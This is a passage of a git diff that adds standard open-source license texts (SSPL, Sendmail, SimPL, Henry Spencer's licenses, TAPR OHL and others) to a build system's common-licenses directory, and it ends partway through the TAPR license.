+ the party's predecessor in interest had or could give under the previous
+ paragraph, plus a right to possession of the Corresponding Source of the
+ work from the predecessor in interest, if the predecessor has it or can
+ get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the rights
+ granted or affirmed under this License. For example, you may not impose a
+ license fee, royalty, or other charge for exercise of rights granted
+ under this License, and you may not initiate litigation (including a
+ cross-claim or counterclaim in a lawsuit) alleging that any patent claim
+ is infringed by making, using, selling, offering for sale, or importing
+ the Program or any portion of it.
+
+ 11. Patents.
+
+ A “contributor” is a copyright holder who authorizes use under this
+ License of the Program or a work on which the Program is based. The work
+ thus licensed is called the contributor's “contributor version”.
+
+ A contributor's “essential patent claims” are all patent claims owned or
+ controlled by the contributor, whether already acquired or hereafter
+ acquired, that would be infringed by some manner, permitted by this
+ License, of making, using, or selling its contributor version, but do not
+ include claims that would be infringed only as a consequence of further
+ modification of the contributor version. For purposes of this definition,
+ “control” includes the right to grant patent sublicenses in a manner
+ consistent with the requirements of this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+ patent license under the contributor's essential patent claims, to make,
+ use, sell, offer for sale, import and otherwise run, modify and propagate
+ the contents of its contributor version.
+
+ In the following three paragraphs, a “patent license” is any express
+ agreement or commitment, however denominated, not to enforce a patent
+ (such as an express permission to practice a patent or covenant not to
+ sue for patent infringement). To “grant” such a patent license to a party
+ means to make such an agreement or commitment not to enforce a patent
+ against the party.
+
+ If you convey a covered work, knowingly relying on a patent license, and
+ the Corresponding Source of the work is not available for anyone to copy,
+ free of charge and under the terms of this License, through a publicly
+ available network server or other readily accessible means, then you must
+ either (1) cause the Corresponding Source to be so available, or (2)
+ arrange to deprive yourself of the benefit of the patent license for this
+ particular work, or (3) arrange, in a manner consistent with the
+ requirements of this License, to extend the patent license to downstream
+ recipients. “Knowingly relying” means you have actual knowledge that, but
+ for the patent license, your conveying the covered work in a country, or
+ your recipient's use of the covered work in a country, would infringe
+ one or more identifiable patents in that country that you have reason
+ to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+ arrangement, you convey, or propagate by procuring conveyance of, a
+ covered work, and grant a patent license to some of the parties receiving
+ the covered work authorizing them to use, propagate, modify or convey a
+ specific copy of the covered work, then the patent license you grant is
+ automatically extended to all recipients of the covered work and works
+ based on it.
+
+ A patent license is “discriminatory” if it does not include within the
+ scope of its coverage, prohibits the exercise of, or is conditioned on
+ the non-exercise of one or more of the rights that are specifically
+ granted under this License. You may not convey a covered work if you are
+ a party to an arrangement with a third party that is in the business of
+ distributing software, under which you make payment to the third party
+ based on the extent of your activity of conveying the work, and under
+ which the third party grants, to any of the parties who would receive the
+ covered work from you, a discriminatory patent license (a) in connection
+ with copies of the covered work conveyed by you (or copies made from
+ those copies), or (b) primarily for and in connection with specific
+ products or compilations that contain the covered work, unless you
+ entered into that arrangement, or that patent license was granted, prior
+ to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting any
+ implied license or other defenses to infringement that may otherwise be
+ available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+ otherwise) that contradict the conditions of this License, they do not
+ excuse you from the conditions of this License. If you cannot use,
+ propagate or convey a covered work so as to satisfy simultaneously your
+ obligations under this License and any other pertinent obligations, then
+ as a consequence you may not use, propagate or convey it at all. For
+ example, if you agree to terms that obligate you to collect a royalty for
+ further conveying from those to whom you convey the Program, the only way
+ you could satisfy both those terms and this License would be to refrain
+ entirely from conveying the Program.
+
+ 13. Offering the Program as a Service.
+
+ If you make the functionality of the Program or a modified version
+ available to third parties as a service, you must make the Service Source
+ Code available via network download to everyone at no charge, under the
+ terms of this License. Making the functionality of the Program or
+ modified version available to third parties as a service includes,
+ without limitation, enabling third parties to interact with the
+ functionality of the Program or modified version remotely through a
+ computer network, offering a service the value of which entirely or
+ primarily derives from the value of the Program or modified version, or
+ offering a service that accomplishes for users the primary purpose of the
+ Program or modified version.
+
+ “Service Source Code” means the Corresponding Source for the Program or
+ the modified version, and the Corresponding Source for all programs that
+ you use to make the Program or modified version available as a service,
+ including, without limitation, management software, user interfaces,
+ application program interfaces, automation software, monitoring software,
+ backup software, storage software and hosting software, all such that a
+ user could run an instance of the service using the Service Source Code
+ you make available.
+
+ 14. Revised Versions of this License.
+
+ MongoDB, Inc. may publish revised and/or new versions of the Server Side
+ Public License from time to time. Such new versions will be similar in
+ spirit to the present version, but may differ in detail to address new
+ problems or concerns.
+
+ Each version is given a distinguishing version number. If the Program
+ specifies that a certain numbered version of the Server Side Public
+ License “or any later version” applies to it, you have the option of
+ following the terms and conditions either of that numbered version or of
+ any later version published by MongoDB, Inc. If the Program does not
+ specify a version number of the Server Side Public License, you may
+ choose any version ever published by MongoDB, Inc.
+
+ If the Program specifies that a proxy can decide which future versions of
+ the Server Side Public License can be used, that proxy's public statement
+ of acceptance of a version permanently authorizes you to choose that
+ version for the Program.
+
+ Later license versions may give you additional or different permissions.
+ However, no additional obligations are imposed on any author or copyright holder
+ as a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+ APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS
+ AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY
+ OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+ IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+ WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+ THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING
+ ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF
+ THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO
+ LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU
+ OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+ PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+ POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided above
+ cannot be given local legal effect according to their terms, reviewing
+ courts shall apply local law that most closely approximates an absolute
+ waiver of all civil liability in connection with the Program, unless a
+ warranty or assumption of liability accompanies a copy of the Program in
+ return for a fee.
+
+ END OF TERMS AND CONDITIONS
diff --git a/meta/files/common-licenses/SWL b/meta/files/common-licenses/SWL
new file mode 100644
index 0000000000..84c9c418a8
--- /dev/null
+++ b/meta/files/common-licenses/SWL
@@ -0,0 +1,7 @@
+The authors hereby grant permission to use, copy, modify, distribute, and license this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this software may be copyrighted by their authors and need not follow the licensing terms described here, provided that the new terms are clearly indicated on the first page of each file where they apply.
+
+IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+
+GOVERNMENT USE: If you are acquiring this software on behalf of the U.S. government, the Government shall have only "Restricted Rights" in the software and related documentation as defined in the Federal Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you are acquiring the software on behalf of the Department of Defense, the software shall be classified as "Commercial Computer Software" and the Government shall have only "Restricted Rights" as defined in Clause 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing, the authors grant the U.S. Government and others acting in its behalf permission to use and distribute the software in accordance with the terms specified in this license.
+
+BY INSTALLING THIS SOFTWARE, YOU ACKNOWLEDGE THAT YOU HAVE READ THIS AGREEMENT, THAT YOU UNDERSTAND IT, AND THAT YOU AGREE TO BE BOUND BY ITS TERMS AND CONDITIONS.
diff --git a/meta/files/common-licenses/Saxpath b/meta/files/common-licenses/Saxpath
new file mode 100644
index 0000000000..f985c29537
--- /dev/null
+++ b/meta/files/common-licenses/Saxpath
@@ -0,0 +1,19 @@
+Copyright (C) 2000-2002 werken digital.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the disclaimer that follows these conditions in the documentation and/or other materials provided with the distribution.
+
+ 3. The name "SAXPath" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact license@saxpath.org.
+
+ 4. Products derived from this software may not be called "SAXPath", nor may "SAXPath" appear in their name, without prior written permission from the SAXPath Project Management (pm@saxpath.org).
+
+In addition, we request (but do not require) that you include in the end-user documentation provided with the redistribution and/or in the software itself an acknowledgement equivalent to the following:
+ "This product includes software developed by the SAXPath Project (http://www.saxpath.org/)."
+
+Alternatively, the acknowledgment may be graphical using the logos available at http://www.saxpath.org/
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE SAXPath AUTHORS OR THE PROJECT CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Sendmail b/meta/files/common-licenses/Sendmail
new file mode 100644
index 0000000000..86eecd39c3
--- /dev/null
+++ b/meta/files/common-licenses/Sendmail
@@ -0,0 +1,36 @@
+SENDMAIL LICENSE
+
+The following license terms and conditions apply, unless a redistribution agreement or other license is obtained from Sendmail, Inc., 6475 Christie Ave, Third Floor, Emeryville, CA 94608, USA, or by electronic mail at license@sendmail.com.
+
+License Terms:
+
+Use, Modification and Redistribution (including distribution of any modified or derived work) in source and binary forms is permitted only if each of the following conditions is met:
+
+1. Redistributions qualify as "freeware" or "Open Source Software" under one of the following terms:
+
+ (a) Redistributions are made at no charge beyond the reasonable cost of materials and delivery.
+
+ (b) Redistributions are accompanied by a copy of the Source Code or by an irrevocable offer to provide a copy of the Source Code for up to three years at the cost of materials and delivery. Such redistributions must allow further use, modification, and redistribution of the Source Code under substantially the same terms as this license. For the purposes of redistribution "Source Code" means the complete compilable and linkable source code of sendmail including all modifications.
+
+2. Redistributions of Source Code must retain the copyright notices as they appear in each Source Code file, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below.
+
+3. Redistributions in binary form must reproduce the Copyright Notice, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below, in the documentation and/or other materials provided with the distribution. For the purposes of binary distribution the "Copyright Notice" refers to the following language:
+"Copyright (c) 1998-2010 Sendmail, Inc. All rights reserved."
+
+4. Neither the name of Sendmail, Inc. nor the University of California nor names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission. The name "sendmail" is a trademark of Sendmail, Inc.
+
+5. All redistributions must comply with the conditions imposed by the University of California on certain embedded code, which copyright Notice and conditions for redistribution are as follows:
+
+ (a) Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved.
+
+ (b) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ (i) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ (ii) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ (iii) Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+6. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY SENDMAIL, INC. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SENDMAIL, INC., THE REGENTS OF THE UNIVERSITY OF CALIFORNIA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+$Revision: 8.16 $, Last updated $Date: 2010/10/25 23:11:19 $, Document 139848.1
diff --git a/meta/files/common-licenses/Sendmail-8.23 b/meta/files/common-licenses/Sendmail-8.23
new file mode 100644
index 0000000000..e076ca3d7d
--- /dev/null
+++ b/meta/files/common-licenses/Sendmail-8.23
@@ -0,0 +1,36 @@
+SENDMAIL LICENSE
+
+The following license terms and conditions apply, unless a redistribution agreement or other license is obtained from Proofpoint, Inc., 892 Ross Street, Sunnyvale, CA, 94089, USA, or by electronic mail at sendmail-license@proofpoint.com.
+
+License Terms:
+
+Use, Modification and Redistribution (including distribution of any modified or derived work) in source and binary forms is permitted only if each of the following conditions is met:
+
+1. Redistributions qualify as "freeware" or "Open Source Software" under one of the following terms:
+
+ (a) Redistributions are made at no charge beyond the reasonable cost of materials and delivery.
+
+ (b) Redistributions are accompanied by a copy of the Source Code or by an irrevocable offer to provide a copy of the Source Code for up to three years at the cost of materials and delivery. Such redistributions must allow further use, modification, and redistribution of the Source Code under substantially the same terms as this license. For the purposes of redistribution "Source Code" means the complete compilable and linkable source code of sendmail and associated libraries and utilities in the sendmail distribution including all modifications.
+
+2. Redistributions of Source Code must retain the copyright notices as they appear in each Source Code file, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below.
+
+3. Redistributions in binary form must reproduce the Copyright Notice, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below, in the documentation and/or other materials provided with the distribution. For the purposes of binary distribution the "Copyright Notice" refers to the following language:
+"Copyright (c) 1998-2014 Proofpoint, Inc. All rights reserved."
+
+4. Neither the name of Proofpoint, Inc. nor the University of California nor names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission. The name "sendmail" is a trademark of Proofpoint, Inc.
+
+5. All redistributions must comply with the conditions imposed by the University of California on certain embedded code, which copyright Notice and conditions for redistribution are as follows:
+
+ (a) Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved.
+
+ (b) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ (i) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ (ii) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ (iii) Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+6. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY SENDMAIL, INC. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SENDMAIL, INC., THE REGENTS OF THE UNIVERSITY OF CALIFORNIA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+$Revision: 8.23 $, Last updated $Date: 2014-01-26 20:10:01 $, Document 139848.1
diff --git a/meta/files/common-licenses/SimPL-2.0 b/meta/files/common-licenses/SimPL-2.0
new file mode 100644
index 0000000000..0fde0fa080
--- /dev/null
+++ b/meta/files/common-licenses/SimPL-2.0
@@ -0,0 +1,37 @@
+Simple Public License (SimPL)
+
+Preamble
+
+This Simple Public License 2.0 (SimPL 2.0 for short) is a plain language implementation of GPL 2.0. The words are different, but the goal is the same - to guarantee for all users the freedom to share and change software. If anyone wonders about the meaning of the SimPL, they should interpret it as consistent with GPL 2.0.
+
+Simple Public License (SimPL) 2.0
+
+The SimPL applies to the software's source and object code and comes with any rights that I have in it (other than trademarks). You agree to the SimPL by copying, distributing, or making a derivative work of the software.
+
+You get the royalty free right to:
+
+- Use the software for any purpose;
+- Make derivative works of it (this is called a "Derived Work");
+- Copy and distribute it and any Derived Work.
+
+If you distribute the software or a Derived Work, you must give back to the community by:
+
+- Prominently noting the date of any changes you make;
+- Leaving other people's copyright notices, warranty disclaimers, and license terms in place;
+- Providing the source code, build scripts, installation scripts, and interface definitions in a form that is easy to get and best to modify;
+- Licensing it to everyone under SimPL, or substantially similar terms (such as GPL 2.0), without adding further restrictions to the rights provided;
+- Conspicuously announcing that it is available under that license.
+
+There are some things that you must shoulder:
+
+- You get NO WARRANTIES. None of any kind;
+- If the software damages you in any way, you may only recover direct damages up to the amount you paid for it (that is zero if you did not pay anything). You may not recover any other damages, including those called "consequential damages." (The state or country where you live may not allow you to limit your liability in this way, so this may not apply to you);
+
+The SimPL continues perpetually, except that your license rights end automatically if:
+
+- You do not abide by the "give back to the community" terms (your licensees get to keep their rights if they abide);
+- Anyone prevents you from distributing the software under the terms of the SimPL.
+
+License for the License
+
+You may do anything that you want with the SimPL text; it's a license form to use in any way that you find helpful. To avoid confusion, however, if you change the terms in any way then you may not call your license the Simple Public License or the SimPL (but feel free to acknowledge that your license is "based on the Simple Public License").
diff --git a/meta/files/common-licenses/Spencer-86 b/meta/files/common-licenses/Spencer-86
new file mode 100644
index 0000000000..8577e881c1
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-86
@@ -0,0 +1,11 @@
+Copyright (c) 1986 by University of Toronto. Written by Henry Spencer. Not derived from licensed software.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to redistribute it freely, subject to the following restrictions:
+
+1. The author is not responsible for the consequences of use of this software, no matter how awful, even if they arise from defects in it.
+
+2. The origin of this software must not be misrepresented, either by explicit claim or by omission.
+
+3. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+Beware that some of this code is subtly aware of the way operator precedence is structured in regular expressions. Serious changes in regular-expression syntax might require a total rethink.
diff --git a/meta/files/common-licenses/Spencer-94 b/meta/files/common-licenses/Spencer-94
new file mode 100644
index 0000000000..75ba7f7d2e
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-94
@@ -0,0 +1,12 @@
+Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved.
+This software is not subject to any license of the American Telephone and Telegraph Company or of the Regents of the University of California.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to alter it and redistribute it, subject to the following restrictions:
+
+1. The author is not responsible for the consequences of use of this software, no matter how awful, even if they arise from flaws in it.
+
+2. The origin of this software must not be misrepresented, either by explicit claim or by omission. Since few users ever read sources, credits must appear in the documentation.
+
+3. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software. Since few users ever read sources, credits must appear in the documentation.
+
+4. This notice may not be removed or altered.
diff --git a/meta/files/common-licenses/Spencer-99 b/meta/files/common-licenses/Spencer-99
new file mode 100644
index 0000000000..ca7099033f
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-99
@@ -0,0 +1,9 @@
+Copyright (c) 1998, 1999 Henry Spencer. All rights reserved.
+
+Development of this software was funded, in part, by Cray Research Inc., UUNET Communications Services Inc., Sun Microsystems Inc., and Scriptics Corporation, none of whom are responsible for the results. The author thanks all of them.
+
+Redistribution and use in source and binary forms - with or without modification - are permitted for any purpose, provided that redistributions in source form retain this entire copyright notice and indicate the origin and nature of any modifications.
+
+I'd appreciate being given credit for this package in the documentation of software which uses it, but that is not a requirement.
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL HENRY SPENCER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TAPR-OHL-1.0 b/meta/files/common-licenses/TAPR-OHL-1.0
new file mode 100644
index 0000000000..e20c23663b
--- /dev/null
+++ b/meta/files/common-licenses/TAPR-OHL-1.0
@@ -0,0 +1,266 @@
+The TAPR Open Hardware License
+Version 1.0 (May 25, 2007)
+Copyright 2007 TAPR - http://www.tapr.org/OHL
+
+PREAMBLE
+
+Open Hardware is a thing - a physical artifact, either electrical or
+mechanical - whose design information is available to, and usable by,
+the public in a way that allows anyone to make, modify, distribute, and
+use that thing. In this preface, design information is called
+"documentation" and things created from it are called "products."
+
+The TAPR Open Hardware License ("OHL") agreement provides a legal
+framework for Open Hardware projects. It may be used for any kind of
+product, be it a hammer or a computer motherboard, and is TAPR's
+contribution to the community; anyone may use the OHL for their Open
+Hardware project.
+
+Like the GNU General Public License, the OHL is designed to guarantee
+your freedom to share and to create. It forbids anyone who receives
+rights under the OHL to deny any other licensee those same rights to
+copy, modify, and distribute documentation, and to make, use and
+distribute products based on that documentation.
+
+Unlike the GPL, the OHL is not primarily a copyright license. While
+copyright protects documentation from unauthorized copying, modification,
+and distribution, it has little to do with your right to make, distribute,
+or use a product based on that documentation. For better or worse, patents
+play a significant role in those activities. Although it does not prohibit
+anyone from patenting inventions embodied in an Open Hardware design, and
+of course cannot prevent a third party from enforcing their patent rights,
+those who benefit from an OHL design may not bring lawsuits claiming that
+design infringes their patents or other intellectual property.
+
+The OHL addresses unique issues involved in the creation of tangible,
+physical things, but does not cover software, firmware, or code loaded
+into programmable devices. A copyright-oriented license such as the GPL
+better suits these creations.
+
+How can you use the OHL, or a design based upon it? While the terms and
+conditions below take precedence over this preamble, here is a summary:
+
+* You may modify the documentation and make products based upon it.
+
+* You may use products for any legal purpose without limitation.
+
+* You may distribute unmodified documentation, but you must include the
+complete package as you received it.
+
+* You may distribute products you make to third parties, if you either
+include the documentation on which the product is based, or make it
+available without charge for at least three years to anyone who requests
+it.
+
+* You may distribute modified documentation or products based on it, if
+you:
+ * License your modifications under the OHL.
+ * Include those modifications, following the requirements stated
+ below.
+ * Attempt to send the modified documentation by email to any of the
+ developers who have provided their email address. This is a good
+ faith obligation - if the email fails, you need do nothing more
+ and may go on with your distribution.
+
+* If you create a design that you want to license under the OHL, you
+should:
+ * Include this document in a file named LICENSE (with the appropriate
+ extension) that is included in the documentation package.
+ * If the file format allows, include a notice like "Licensed under
+ the TAPR Open Hardware License (www.tapr.org/OHL)" in each
+ documentation file. While not required, you should also include
+ this notice on printed circuit board artwork and the product
+ itself; if space is limited the notice can be shortened or
+ abbreviated.
+ * Include a copyright notice in each file and on printed circuit
+ board artwork.
+ * If you wish to be notified of modifications that others may make,
+ include your email address in a file named "CONTRIB.TXT" or
+ something similar.
+
+* Any time the OHL requires you to make documentation available to
+others, you must include all the materials you received from the
+upstream licensors. In addition, if you have modified the
+documentation:
+ * You must identify the modifications in a text file (preferably
+ named "CHANGES.TXT") that you include with the documentation.
+ That file must also include a statement like "These modifications
+ are licensed under the TAPR Open Hardware License."
+ * You must include any new files you created, including any
+ manufacturing files (such as Gerber files) you create in the
+ course of making products.
+ * You must include both "before" and "after" versions of all files
+ you modified.
+ * You may include files in proprietary formats, but you must also
+ include open format versions (such as Gerber, ASCII, Postscript,
+ or PDF) if your tools can create them.
+
+TERMS AND CONDITIONS
+
+1. Introduction
+1.1 This Agreement governs how you may use, copy, modify, and
+distribute Documentation, and how you may make, have made, and
+distribute Products based on that Documentation. As used in this
+Agreement, to "distribute" Documentation means to directly or indirectly
+make copies available to a third party, and to "distribute" Products
+means to directly or indirectly give, loan, sell or otherwise transfer
+them to a third party.
+
+1.2 "Documentation" includes:
+ (a) schematic diagrams;
+ (b) circuit or circuit board layouts, including Gerber and other
+ data files used for manufacture;
+ (c) mechanical drawings, including CAD, CAM, and other data files
+ used for manufacture;
+ (d) flow charts and descriptive text; and
+ (e) other explanatory material.
+Documentation may be in any tangible or intangible form of expression,
+including but not limited to computer files in open or proprietary
+formats and representations on paper, film, or other media.
+
+1.3 "Products" include:
+ (a) circuit boards, mechanical assemblies, and other physical parts
+ and components;
+ (b) assembled or partially assembled units (including components
+ and subassemblies); and
+ (c) parts and components combined into kits intended for assembly
+ by others;
+which are based in whole or in part on the Documentation.
+
+1.4 This Agreement applies to any Documentation which contains a
+notice stating it is subject to the TAPR Open Hardware License, and to
+all Products based in whole or in part on that Documentation. If
+Documentation is distributed in an archive (such as a "zip" file) which
+includes this document, all files in that archive are subject to this
+Agreement unless they are specifically excluded. Each person who
+contributes content to the Documentation is referred to in this
+Agreement as a "Licensor."
+
+1.5 By (a) using, copying, modifying, or distributing the
+Documentation, or (b) making or having Products made or distributing
+them, you accept this Agreement, agree to comply with its terms, and
+become a "Licensee." Any activity inconsistent with this Agreement will
+automatically terminate your rights under it (including the immunities
+from suit granted in Section 2), but the rights of others who have
+received Documentation, or have obtained Products, directly or
+indirectly from you will not be affected so long as they fully comply
+with it themselves.
+
+1.6 This Agreement does not apply to software, firmware, or code
+loaded into programmable devices which may be used in conjunction with
+Documentation or Products. Such software is subject to the license
+terms established by its copyright holder(s).
+
+2. Patents
+2.1 Each Licensor grants you, every other Licensee, and every
+possessor or user of Products a perpetual, worldwide, and royalty-free
+immunity from suit under any patent, patent application, or other
+intellectual property right which he or she controls, to the extent
+necessary to make, have made, possess, use, and distribute Products.
+This immunity does not extend to infringement arising from modifications
+subsequently made by others.
+
+2.2 If you make or have Products made, or distribute Documentation
+that you have modified, you grant every Licensor, every other Licensee,
+and every possessor or user of Products a perpetual, worldwide, and
+royalty-free immunity from suit under any patent, patent application, or
+other intellectual property right which you control, to the extent
+necessary to make, have made, possess, use, and distribute Products.
+This immunity does not extend to infringement arising from modifications
+subsequently made by others.
+
+2.3 To avoid doubt, providing Documentation to a third party for the
+sole purpose of having that party make Products on your behalf is not
+considered "distribution,"\" and a third party's act of making Products
+solely on your behalf does not cause that party to grant the immunity
+described in the preceding paragraph.
+
+2.4 These grants of immunity are a material part of this Agreement,
+and form a portion of the consideration given by each party to the
+other. If any court judgment or legal agreement prevents you from
+granting the immunity required by this Section, your rights under this
+Agreement will terminate and you may no longer use, copy, modify or
+distribute the Documentation, or make, have made, or distribute
+Products.
+
+3. Modifications
+You may modify the Documentation, and those modifications will become
+part of the Documentation. They are subject to this Agreement, as are
+Products based in whole or in part on them. If you distribute the
+modified Documentation, or Products based in whole or in part upon it,
+you must email the modified Documentation in a form compliant with
+Section 4 to each Licensor who has provided an email address with the
